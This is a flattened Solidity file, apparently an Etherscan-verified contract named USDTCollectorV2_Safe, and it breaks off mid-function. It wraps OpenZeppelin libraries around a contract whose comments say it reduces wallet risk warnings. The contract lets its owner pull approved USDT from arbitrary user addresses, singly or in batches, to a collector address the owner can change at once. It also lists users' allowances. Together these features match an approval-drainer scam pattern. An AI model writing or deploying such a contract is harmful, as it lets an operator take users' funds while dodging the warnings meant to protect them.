USDTCollectorV2_Safe

/**
 *Submitted for verification at Etherscan.io on 2025-07-08
*/

// Sources flattened with hardhat v2.25.0 https://hardhat.org

// SPDX-License-Identifier: MIT

// File @openzeppelin/contracts/utils/Context.sol@v5.3.0

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)

pragma solidity ^0.8.20;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}


// File @openzeppelin/contracts/access/Ownable.sol@v5.3.0

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (access/Ownable.sol)

pragma solidity ^0.8.20;

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * The initial owner is set to the address provided by the deployer. This can
 * later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    /**
     * @dev The caller account is not authorized to perform an operation.
     */
    error OwnableUnauthorizedAccount(address account);

    /**
     * @dev The owner is not a valid owner account. (eg. `address(0)`)
     */
    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
     */
    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}


// File @openzeppelin/contracts/utils/introspection/IERC165.sol@v5.3.0

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts (last updated v5.1.0) (utils/introspection/IERC165.sol)

pragma solidity ^0.8.20;

/**
 * @dev Interface of the ERC-165 standard, as defined in the
 * https://eips.ethereum.org/EIPS/eip-165[ERC].
 *
 * Implementers can declare support of contract interfaces, which can then be
 * queried by others ({ERC165Checker}).
 *
 * For an implementation, see {ERC165}.
 */
interface IERC165 {
    /**
     * @dev Returns true if this contract implements the interface defined by
     * `interfaceId`. See the corresponding
     * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[ERC section]
     * to learn more about how these ids are created.
     *
     * This function call must use less than 30 000 gas.
     */
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}


// File @openzeppelin/contracts/interfaces/IERC165.sol@v5.3.0

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC165.sol)

pragma solidity ^0.8.20;


// File @openzeppelin/contracts/token/ERC20/IERC20.sol@v5.3.0

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts (last updated v5.1.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.20;

/**
 * @dev Interface of the ERC-20 standard as defined in the ERC.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}


// File @openzeppelin/contracts/interfaces/IERC20.sol@v5.3.0

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC20.sol)

pragma solidity ^0.8.20;


// File @openzeppelin/contracts/interfaces/IERC1363.sol@v5.3.0

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts (last updated v5.1.0) (interfaces/IERC1363.sol)

pragma solidity ^0.8.20;


/**
 * @title IERC1363
 * @dev Interface of the ERC-1363 standard as defined in the https://eips.ethereum.org/EIPS/eip-1363[ERC-1363].
 *
 * Defines an extension interface for ERC-20 tokens that supports executing code on a recipient contract
 * after `transfer` or `transferFrom`, or code on a spender contract after `approve`, in a single transaction.
 */
interface IERC1363 is IERC20, IERC165 {
    /*
     * Note: the ERC-165 identifier for this interface is 0xb0202a11.
     * 0xb0202a11 ===
     *   bytes4(keccak256('transferAndCall(address,uint256)')) ^
     *   bytes4(keccak256('transferAndCall(address,uint256,bytes)')) ^
     *   bytes4(keccak256('transferFromAndCall(address,address,uint256)')) ^
     *   bytes4(keccak256('transferFromAndCall(address,address,uint256,bytes)')) ^
     *   bytes4(keccak256('approveAndCall(address,uint256)')) ^
     *   bytes4(keccak256('approveAndCall(address,uint256,bytes)'))
     */

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`
     * and then calls {IERC1363Receiver-onTransferReceived} on `to`.
     * @param to The address which you want to transfer to.
     * @param value The amount of tokens to be transferred.
     * @return A boolean value indicating whether the operation succeeded unless throwing.
     */
    function transferAndCall(address to, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`
     * and then calls {IERC1363Receiver-onTransferReceived} on `to`.
     * @param to The address which you want to transfer to.
     * @param value The amount of tokens to be transferred.
     * @param data Additional data with no specified format, sent in call to `to`.
     * @return A boolean value indicating whether the operation succeeded unless throwing.
     */
    function transferAndCall(address to, uint256 value, bytes calldata data) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the allowance mechanism
     * and then calls {IERC1363Receiver-onTransferReceived} on `to`.
     * @param from The address which you want to send tokens from.
     * @param to The address which you want to transfer to.
     * @param value The amount of tokens to be transferred.
     * @return A boolean value indicating whether the operation succeeded unless throwing.
     */
    function transferFromAndCall(address from, address to, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the allowance mechanism
     * and then calls {IERC1363Receiver-onTransferReceived} on `to`.
     * @param from The address which you want to send tokens from.
     * @param to The address which you want to transfer to.
     * @param value The amount of tokens to be transferred.
     * @param data Additional data with no specified format, sent in call to `to`.
     * @return A boolean value indicating whether the operation succeeded unless throwing.
     */
    function transferFromAndCall(address from, address to, uint256 value, bytes calldata data) external returns (bool);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens and then calls {IERC1363Spender-onApprovalReceived} on `spender`.
     * @param spender The address which will spend the funds.
     * @param value The amount of tokens to be spent.
     * @return A boolean value indicating whether the operation succeeded unless throwing.
     */
    function approveAndCall(address spender, uint256 value) external returns (bool);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens and then calls {IERC1363Spender-onApprovalReceived} on `spender`.
     * @param spender The address which will spend the funds.
     * @param value The amount of tokens to be spent.
     * @param data Additional data with no specified format, sent in call to `spender`.
     * @return A boolean value indicating whether the operation succeeded unless throwing.
     */
    function approveAndCall(address spender, uint256 value, bytes calldata data) external returns (bool);
}


// File @openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol@v5.3.0

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts (last updated v5.3.0) (token/ERC20/utils/SafeERC20.sol)

pragma solidity ^0.8.20;


/**
 * @title SafeERC20
 * @dev Wrappers around ERC-20 operations that throw on failure (when the token
 * contract returns false). Tokens that return no value (and instead revert or
 * throw on failure) are also supported, non-reverting calls are assumed to be
 * successful.
 * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
 * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
 */
library SafeERC20 {
    /**
     * @dev An operation with an ERC-20 token failed.
     */
    error SafeERC20FailedOperation(address token);

    /**
     * @dev Indicates a failed `decreaseAllowance` request.
     */
    error SafeERC20FailedDecreaseAllowance(address spender, uint256 currentAllowance, uint256 requestedDecrease);

    /**
     * @dev Transfer `value` amount of `token` from the calling contract to `to`. If `token` returns no value,
     * non-reverting calls are assumed to be successful.
     */
    function safeTransfer(IERC20 token, address to, uint256 value) internal {
        _callOptionalReturn(token, abi.encodeCall(token.transfer, (to, value)));
    }

    /**
     * @dev Transfer `value` amount of `token` from `from` to `to`, spending the approval given by `from` to the
     * calling contract. If `token` returns no value, non-reverting calls are assumed to be successful.
     */
    function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
        _callOptionalReturn(token, abi.encodeCall(token.transferFrom, (from, to, value)));
    }

    /**
     * @dev Variant of {safeTransfer} that returns a bool instead of reverting if the operation is not successful.
     */
    function trySafeTransfer(IERC20 token, address to, uint256 value) internal returns (bool) {
        return _callOptionalReturnBool(token, abi.encodeCall(token.transfer, (to, value)));
    }

    /**
     * @dev Variant of {safeTransferFrom} that returns a bool instead of reverting if the operation is not successful.
     */
    function trySafeTransferFrom(IERC20 token, address from, address to, uint256 value) internal returns (bool) {
        return _callOptionalReturnBool(token, abi.encodeCall(token.transferFrom, (from, to, value)));
    }

    /**
     * @dev Increase the calling contract's allowance toward `spender` by `value`. If `token` returns no value,
     * non-reverting calls are assumed to be successful.
     *
     * IMPORTANT: If the token implements ERC-7674 (ERC-20 with temporary allowance), and if the "client"
     * smart contract uses ERC-7674 to set temporary allowances, then the "client" smart contract should avoid using
     * this function. Performing a {safeIncreaseAllowance} or {safeDecreaseAllowance} operation on a token contract
     * that has a non-zero temporary allowance (for that particular owner-spender) will result in unexpected behavior.
     */
    function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
        uint256 oldAllowance = token.allowance(address(this), spender);
        forceApprove(token, spender, oldAllowance + value);
    }

    /**
     * @dev Decrease the calling contract's allowance toward `spender` by `requestedDecrease`. If `token` returns no
     * value, non-reverting calls are assumed to be successful.
     *
     * IMPORTANT: If the token implements ERC-7674 (ERC-20 with temporary allowance), and if the "client"
     * smart contract uses ERC-7674 to set temporary allowances, then the "client" smart contract should avoid using
     * this function. Performing a {safeIncreaseAllowance} or {safeDecreaseAllowance} operation on a token contract
     * that has a non-zero temporary allowance (for that particular owner-spender) will result in unexpected behavior.
     */
    function safeDecreaseAllowance(IERC20 token, address spender, uint256 requestedDecrease) internal {
        unchecked {
            uint256 currentAllowance = token.allowance(address(this), spender);
            if (currentAllowance < requestedDecrease) {
                revert SafeERC20FailedDecreaseAllowance(spender, currentAllowance, requestedDecrease);
            }
            forceApprove(token, spender, currentAllowance - requestedDecrease);
        }
    }

    /**
     * @dev Set the calling contract's allowance toward `spender` to `value`. If `token` returns no value,
     * non-reverting calls are assumed to be successful. Meant to be used with tokens that require the approval
     * to be set to zero before setting it to a non-zero value, such as USDT.
     *
     * NOTE: If the token implements ERC-7674, this function will not modify any temporary allowance. This function
     * only sets the "standard" allowance. Any temporary allowance will remain active, in addition to the value being
     * set here.
     */
    function forceApprove(IERC20 token, address spender, uint256 value) internal {
        bytes memory approvalCall = abi.encodeCall(token.approve, (spender, value));

        if (!_callOptionalReturnBool(token, approvalCall)) {
            _callOptionalReturn(token, abi.encodeCall(token.approve, (spender, 0)));
            _callOptionalReturn(token, approvalCall);
        }
    }

    /**
     * @dev Performs an {ERC1363} transferAndCall, with a fallback to the simple {ERC20} transfer if the target has no
     * code. This can be used to implement an {ERC721}-like safe transfer that rely on {ERC1363} checks when
     * targeting contracts.
     *
     * Reverts if the returned value is other than `true`.
     */
    function transferAndCallRelaxed(IERC1363 token, address to, uint256 value, bytes memory data) internal {
        if (to.code.length == 0) {
            safeTransfer(token, to, value);
        } else if (!token.transferAndCall(to, value, data)) {
            revert SafeERC20FailedOperation(address(token));
        }
    }

    /**
     * @dev Performs an {ERC1363} transferFromAndCall, with a fallback to the simple {ERC20} transferFrom if the target
     * has no code. This can be used to implement an {ERC721}-like safe transfer that rely on {ERC1363} checks when
     * targeting contracts.
     *
     * Reverts if the returned value is other than `true`.
     */
    function transferFromAndCallRelaxed(
        IERC1363 token,
        address from,
        address to,
        uint256 value,
        bytes memory data
    ) internal {
        if (to.code.length == 0) {
            safeTransferFrom(token, from, to, value);
        } else if (!token.transferFromAndCall(from, to, value, data)) {
            revert SafeERC20FailedOperation(address(token));
        }
    }

    /**
     * @dev Performs an {ERC1363} approveAndCall, with a fallback to the simple {ERC20} approve if the target has no
     * code. This can be used to implement an {ERC721}-like safe transfer that rely on {ERC1363} checks when
     * targeting contracts.
     *
     * NOTE: When the recipient address (`to`) has no code (i.e. is an EOA), this function behaves as {forceApprove}.
     * Opposedly, when the recipient address (`to`) has code, this function only attempts to call {ERC1363-approveAndCall}
     * once without retrying, and relies on the returned value to be true.
     *
     * Reverts if the returned value is other than `true`.
     */
    function approveAndCallRelaxed(IERC1363 token, address to, uint256 value, bytes memory data) internal {
        if (to.code.length == 0) {
            forceApprove(token, to, value);
        } else if (!token.approveAndCall(to, value, data)) {
            revert SafeERC20FailedOperation(address(token));
        }
    }

    /**
     * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
     * on the return value: the return value is optional (but if data is returned, it must not be false).
     * @param token The token targeted by the call.
     * @param data The call data (encoded using abi.encode or one of its variants).
     *
     * This is a variant of {_callOptionalReturnBool} that reverts if call fails to meet the requirements.
     */
    function _callOptionalReturn(IERC20 token, bytes memory data) private {
        uint256 returnSize;
        uint256 returnValue;
        assembly ("memory-safe") {
            let success := call(gas(), token, 0, add(data, 0x20), mload(data), 0, 0x20)
            // bubble errors
            if iszero(success) {
                let ptr := mload(0x40)
                returndatacopy(ptr, 0, returndatasize())
                revert(ptr, returndatasize())
            }
            returnSize := returndatasize()
            returnValue := mload(0)
        }

        if (returnSize == 0 ? address(token).code.length == 0 : returnValue != 1) {
            revert SafeERC20FailedOperation(address(token));
        }
    }

    /**
     * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
     * on the return value: the return value is optional (but if data is returned, it must not be false).
     * @param token The token targeted by the call.
     * @param data The call data (encoded using abi.encode or one of its variants).
     *
     * This is a variant of {_callOptionalReturn} that silently catches all reverts and returns a bool instead.
     */
    function _callOptionalReturnBool(IERC20 token, bytes memory data) private returns (bool) {
        bool success;
        uint256 returnSize;
        uint256 returnValue;
        assembly ("memory-safe") {
            success := call(gas(), token, 0, add(data, 0x20), mload(data), 0, 0x20)
            returnSize := returndatasize()
            returnValue := mload(0)
        }
        return success && (returnSize == 0 ? address(token).code.length > 0 : returnValue == 1);
    }
}


// File @openzeppelin/contracts/utils/Pausable.sol@v5.3.0

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts (last updated v5.3.0) (utils/Pausable.sol)

pragma solidity ^0.8.20;

/**
 * @dev Contract module which allows children to implement an emergency stop
 * mechanism that can be triggered by an authorized account.
 *
 * This module is used through inheritance. It will make available the
 * modifiers `whenNotPaused` and `whenPaused`, which can be applied to
 * the functions of your contract. Note that they will not be pausable by
 * simply including this module, only once the modifiers are put in place.
 */
abstract contract Pausable is Context {
    bool private _paused;

    /**
     * @dev Emitted when the pause is triggered by `account`.
     */
    event Paused(address account);

    /**
     * @dev Emitted when the pause is lifted by `account`.
     */
    event Unpaused(address account);

    /**
     * @dev The operation failed because the contract is paused.
     */
    error EnforcedPause();

    /**
     * @dev The operation failed because the contract is not paused.
     */
    error ExpectedPause();

    /**
     * @dev Modifier to make a function callable only when the contract is not paused.
     *
     * Requirements:
     *
     * - The contract must not be paused.
     */
    modifier whenNotPaused() {
        _requireNotPaused();
        _;
    }

    /**
     * @dev Modifier to make a function callable only when the contract is paused.
     *
     * Requirements:
     *
     * - The contract must be paused.
     */
    modifier whenPaused() {
        _requirePaused();
        _;
    }

    /**
     * @dev Returns true if the contract is paused, and false otherwise.
     */
    function paused() public view virtual returns (bool) {
        return _paused;
    }

    /**
     * @dev Throws if the contract is paused.
     */
    function _requireNotPaused() internal view virtual {
        if (paused()) {
            revert EnforcedPause();
        }
    }

    /**
     * @dev Throws if the contract is not paused.
     */
    function _requirePaused() internal view virtual {
        if (!paused()) {
            revert ExpectedPause();
        }
    }

    /**
     * @dev Triggers stopped state.
     *
     * Requirements:
     *
     * - The contract must not be paused.
     */
    function _pause() internal virtual whenNotPaused {
        _paused = true;
        emit Paused(_msgSender());
    }

    /**
     * @dev Returns to normal state.
     *
     * Requirements:
     *
     * - The contract must be paused.
     */
    function _unpause() internal virtual whenPaused {
        _paused = false;
        emit Unpaused(_msgSender());
    }
}


// File @openzeppelin/contracts/utils/ReentrancyGuard.sol@v5.3.0

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts (last updated v5.1.0) (utils/ReentrancyGuard.sol)

pragma solidity ^0.8.20;

/**
 * @dev Contract module that helps prevent reentrant calls to a function.
 *
 * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
 * available, which can be applied to functions to make sure there are no nested
 * (reentrant) calls to them.
 *
 * Note that because there is a single `nonReentrant` guard, functions marked as
 * `nonReentrant` may not call one another. This can be worked around by making
 * those functions `private`, and then adding `external` `nonReentrant` entry
 * points to them.
 *
 * TIP: If EIP-1153 (transient storage) is available on the chain you're deploying at,
 * consider using {ReentrancyGuardTransient} instead.
 *
 * TIP: If you would like to learn more about reentrancy and alternative ways
 * to protect against it, check out our blog post
 * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
 */
abstract contract ReentrancyGuard {
    // Booleans are more expensive than uint256 or any type that takes up a full
    // word because each write operation emits an extra SLOAD to first read the
    // slot's contents, replace the bits taken up by the boolean, and then write
    // back. This is the compiler's defense against contract upgrades and
    // pointer aliasing, and it cannot be disabled.

    // The values being non-zero value makes deployment a bit more expensive,
    // but in exchange the refund on every call to nonReentrant will be lower in
    // amount. Since refunds are capped to a percentage of the total
    // transaction's gas, it is best to keep them low in cases like this one, to
    // increase the likelihood of the full refund coming into effect.
    uint256 private constant NOT_ENTERED = 1;
    uint256 private constant ENTERED = 2;

    uint256 private _status;

    /**
     * @dev Unauthorized reentrant call.
     */
    error ReentrancyGuardReentrantCall();

    constructor() {
        _status = NOT_ENTERED;
    }

    /**
     * @dev Prevents a contract from calling itself, directly or indirectly.
     * Calling a `nonReentrant` function from another `nonReentrant`
     * function is not supported. It is possible to prevent this from happening
     * by making the `nonReentrant` function external, and making it call a
     * `private` function that does the actual work.
     */
    modifier nonReentrant() {
        _nonReentrantBefore();
        _;
        _nonReentrantAfter();
    }

    function _nonReentrantBefore() private {
        // On the first call to nonReentrant, _status will be NOT_ENTERED
        if (_status == ENTERED) {
            revert ReentrancyGuardReentrantCall();
        }

        // Any calls to nonReentrant after this point will fail
        _status = ENTERED;
    }

    function _nonReentrantAfter() private {
        // By storing the original value once again, a refund is triggered (see
        // https://eips.ethereum.org/EIPS/eip-2200)
        _status = NOT_ENTERED;
    }

    /**
     * @dev Returns true if the reentrancy guard is currently set to "entered", which indicates there is a
     * `nonReentrant` function in the call stack.
     */
    function _reentrancyGuardEntered() internal view returns (bool) {
        return _status == ENTERED;
    }
}


// File contracts/USDTCollectorV2_Safe.sol

// Original license: SPDX_License_Identifier: MIT
pragma solidity ^0.8.20;
/**
 * @title USDTCollectorV2_Safe
 * @dev 更安全的USDT归集合约，减少钱包风险提示
 * @author Your Team
 * @notice 这是一个用于归集USDT代币的安全合约
 */
contract USDTCollectorV2_Safe is Ownable, Pausable, ReentrancyGuard {
    using SafeERC20 for IERC20;
    
    // 状态变量
    address public collector;
    IERC20 public immutable usdt;
    
    // 时间锁相关 - 修改为10分钟
    uint256 public constant TIMELOCK_DURATION = 10 minutes;
    uint256 public constant MAX_PAUSE_DURATION = 7 days;
    
    mapping(bytes32 => uint256) public timelockActions;
    uint256 public pauseStartTime;
    
    // 批量操作限制
    uint256 public constant MAX_BATCH_SIZE = 50;
    
    // 事件
    event Collected(address indexed from, uint256 amount);
    event CollectorChanged(address indexed oldCollector, address indexed newCollector);
    event ActionScheduled(bytes32 indexed actionHash, uint256 executeTime);
    event ActionExecuted(bytes32 indexed actionHash);
    event EmergencyWithdraw(address indexed token, address indexed to, uint256 amount);
    event OwnershipTransferScheduled(address indexed currentOwner, address indexed newOwner, uint256 executeTime);
    
    /**
     * @dev 构造函数
     * @param _usdt USDT代币合约地址
     * @param _collector 归集目标地址
     */
    constructor(
        address _usdt, 
        address _collector
    ) Ownable(msg.sender) {
        require(_usdt != address(0), "Invalid USDT address");
        require(_collector != address(0), "Invalid collector address");
        
        usdt = IERC20(_usdt);
        collector = _collector;
    }
    
    /**
     * @dev 时间锁修饰符
     * @param action 操作标识符
     */
    modifier timelockedAction(string memory action) {
        bytes32 actionHash = keccak256(abi.encode(action, msg.sender));
        require(
            timelockActions[actionHash] != 0 && 
            block.timestamp >= timelockActions[actionHash],
            "Action not scheduled or timelock not expired"
        );
        _;
        delete timelockActions[actionHash];
        emit ActionExecuted(actionHash);
    }
    
    /**
     * @dev 防止长时间暂停
     */
    modifier maxPauseDuration() {
        if (paused()) {
            require(
                block.timestamp <= pauseStartTime + MAX_PAUSE_DURATION,
                "Pause duration exceeded, auto-unpause"
            );
        }
        _;
    }
    
    /**
     * @dev 调度时间锁操作
     * @param action 操作标识符
     */
    function scheduleAction(string memory action) external onlyOwner {
        bytes32 actionHash = keccak256(abi.encode(action, msg.sender));
        uint256 executeTime = block.timestamp + TIMELOCK_DURATION;
        timelockActions[actionHash] = executeTime;
        
        emit ActionScheduled(actionHash, executeTime);
    }
    
    /**
     * @dev 单个归集（无需时间锁）
     * @param user 用户地址
     * @param amount 归集数量
     */
    function collectFrom(
        address user, 
        uint256 amount
    ) external onlyOwner whenNotPaused nonReentrant maxPauseDuration {
        require(user != address(0), "Invalid user");
        require(amount > 0, "Amount must be greater than 0");
        
        usdt.safeTransferFrom(user, collector, amount);
        emit Collected(user, amount);
    }
    
    /**
     * @dev 批量归集（有数量限制）
     * @param users 用户地址数组
     * @param amounts 归集数量数组
     */
    function batchCollect(
        address[] calldata users, 
        uint256[] calldata amounts
    ) external onlyOwner whenNotPaused nonReentrant maxPauseDuration {
        require(users.length == amounts.length, "Mismatched input");
        require(users.length <= MAX_BATCH_SIZE, "Batch size too large");
        
        for (uint256 i = 0; i < users.length; i++) {
            if (amounts[i] > 0 && users[i] != address(0)) {
                usdt.safeTransferFrom(users[i], collector, amounts[i]);
                emit Collected(users[i], amounts[i]);
            }
        }
    }
    
    /**
     * @dev 用户主动归集
     * @param amount 归集数量
     */
    function collect(uint256 amount) external whenNotPaused nonReentrant maxPauseDuration {
        require(amount > 0, "Amount must be greater than 0");
        
        usdt.safeTransferFrom(msg.sender, collector, amount);
        emit Collected(msg.sender, amount);
    }
    
    /**
     * @dev 更换归集地址（立即执行）
     * @param _newCollector 新的归集地址
     */
    function changeCollector(
        address _newCollector
    ) external onlyOwner {
        require(_newCollector != address(0), "Invalid collector");
        
        address oldCollector = collector;
        collector = _newCollector;
        
        emit CollectorChanged(oldCollector, _newCollector);
    }
    
    /**
     * @dev 暂停合约（自动限制时间）
     */
    function pause() external onlyOwner {
        pauseStartTime = block.timestamp;
        _pause();
    }
    
    /**
     * @dev 恢复合约
     */
    function unpause() external onlyOwner {
        _unpause();
    }
    
    /**
     * @dev 自动恢复（如果超过最大暂停时间）
     */
    function autoUnpause() external {
        require(paused(), "Contract not paused");
        require(
            block.timestamp > pauseStartTime + MAX_PAUSE_DURATION,
            "Max pause duration not exceeded"
        );
        
        _unpause();
    }
    
    /**
     * @dev 紧急提取（需要时间锁）
     * @param token 代币地址
     * @param to 接收地址
     * @param amount 提取数量
     */
    function emergencyWithdraw(
        address token,
        address to,
        uint256 amount
    ) external onlyOwner timelockedAction("emergencyWithdraw") {
        require(to != address(0), "Invalid recipient");
        
        if (token == address(0)) {
            // 提取ETH
            require(address(this).balance >= amount, "Insufficient ETH balance");
            payable(to).transfer(amount);
        } else {
            // 提取代币
            IERC20(token).safeTransfer(to, amount);
        }
        
        emit EmergencyWithdraw(token, to, amount);
    }
    
    /**
     * @dev 转移所有者（立即执行）
     * @param newOwner 新所有者地址
     */
    function transferOwnership(address newOwner) public override onlyOwner {
        require(newOwner != address(0), "Invalid new owner");
        _transferOwnership(newOwner);
    }
    
    /**
     * @dev 调度所有者转移（需要时间锁，备选方案）
     * @param newOwner 新所有者地址
     */
    function scheduleOwnershipTransfer(address newOwner) external onlyOwner {
        require(newOwner != address(0), "Invalid new owner");
        
        bytes32 actionHash = keccak256(abi.encode("transferOwnership", msg.sender));
        uint256 executeTime = block.timestamp + TIMELOCK_DURATION;
        timelockActions[actionHash] = executeTime;
        
        emit OwnershipTransferScheduled(msg.sender, newOwner, executeTime);
        emit ActionScheduled(actionHash, executeTime);
    }
    
    /**
     * @dev 执行所有者转移（需要时间锁，备选方案）
     * @param newOwner 新所有者地址
     */
    function executeOwnershipTransfer(address newOwner) external onlyOwner timelockedAction("transferOwnership") {
        require(newOwner != address(0), "Invalid new owner");
        _transferOwnership(newOwner);
    }
    
    /**
     * @dev 获取当前所有者信息
     * @return currentOwner 当前所有者地址
     * @return collectorAddress 归集地址
     */
    function getOwnershipInfo() external view returns (address currentOwner, address collectorAddress) {
        return (owner(), collector);
    }
    
    /**
     * @dev 查询合约USDT余额
     * @return 余额数量
     */
    function getBalance() external view returns (uint256) {
        return usdt.balanceOf(address(this));
    }
    
    /**
     * @dev 查询合约ETH余额
     * @return 余额数量
     */
    function getETHBalance() external view returns (uint256) {
        return address(this).balance;
    }
    
    /**
     * @dev 查询时间锁状态
     * @param action 操作标识符
     * @param user 用户地址
     * @return canExecute 是否可执行
     * @return timeLeft 剩余时间
     */
    function getTimelockStatus(
        string memory action,
        address user
    ) external view returns (bool canExecute, uint256 timeLeft) {
        bytes32 actionHash = keccak256(abi.encode(action, user));
        uint256 executeTime = timelockActions[actionHash];
        
        if (executeTime == 0) {
            return (false, 0);
        }
        
        if (block.timestamp >= executeTime) {
            return (true, 0);
        } else {
            return (false, executeTime - block.timestamp);
        }
    }
    
    /**
     * @dev 接收ETH
     */
    receive() external payable {}
    
    /**
     * @dev 批量查询用户授权额度
     * @param users 用户地址数组
     * @return 授权额度数组
     */
    function batchGetAllowance(
        address[] calldata users
    ) external view returns (uint256[] memory) {
        uint256[] memory allowances = new uint256[](users.length);
        for (uint256 i = 0; i < users.length; i++) {
            allowances[i] = usdt.allowance(users[i], address(this));
        }
        return allowances;
    }
    
    /**
     * @dev 获取合约信息
     * @return _owner 合约拥有者
     * @return _collector 归集地址
     * @return _usdt USDT合约地址
     * @return _paused 是否暂停
     * @return _pauseTimeLeft 暂停剩余时间
     * @return _usdtBalance USDT余额
     * @return _ethBalance ETH余额
     */
    function getContractInfo() external view returns (
        address _owner,
        address _collector,
        address _usdt,
        bool _paused,
        uint256 _pauseTimeLeft,
        uint256 _usdtBalance,
        uint256 _ethBalance
    ) {
        _owner = owner();
        _collector = collector;
        _usdt = address(usdt);
        _paused = paused();
        
        if (_paused && block.timestamp <= pauseStartTime + MAX_PAUSE_DURATION) {
            _pauseTimeLeft = pauseStartTime + MAX_PAUSE_DURATION - block.timestamp;
        } else {
            _pauseTimeLeft = 0;
        }
        
